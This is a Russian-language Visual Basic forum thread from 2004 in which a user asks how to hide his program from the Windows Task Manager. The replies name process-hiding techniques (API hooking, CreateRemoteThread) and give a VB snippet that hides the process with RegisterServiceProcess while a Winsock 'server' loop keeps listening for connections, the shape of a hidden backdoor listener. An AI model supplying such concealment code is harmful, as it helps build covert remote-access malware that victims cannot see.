Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: Как скрыть свою прогу от диспечера задач? Добавлено: 06.03.04 21:52  

Автор вопроса:  Tisak

как скрыть прогу от диспечера задач(как в win98,так и в XP) ??

Ответить

  Ответы Всего ответов: 4  

Номер ответа: 1
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #1
Добавлено: 07.03.04 03:05

От диспетчера задач через App.TaskVisible, а от списка процессов через хук на NTsystemQueryInformation в NT и RegisterServiceProcess в 9x. В обоих системах можно использовать CreateRemoteThread

Ответить

Номер ответа: 2
Автор ответа:
 Tisak



Вопросов: 8
Ответов: 15
 Профиль | | #2 Добавлено: 07.03.04 03:46

Блин,это круто...но можно немного поподробнее?? :)

Ответить

Номер ответа: 3
Автор ответа:
 Mufasa



Вопросов: 19
Ответов: 63
 Web-сайт: webpricols.narod.ru
 Профиль | | #3
Добавлено: 07.03.04 15:40

В объявлениях формы сервера подключаем функцию RegisterServiceProcess и:

Private Declare Function RegisterServiceProcess Lib _
"kernel32.dll" (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long
Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

Ответить

Номер ответа: 4
Автор ответа:
 Mufasa



Вопросов: 19
Ответов: 63
 Web-сайт: webpricols.narod.ru
 Профиль | | #4
Добавлено: 07.03.04 15:43
RegisterServiceProcess 0, 1 - эта строка - прячет. остальное, я взял из проги!

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам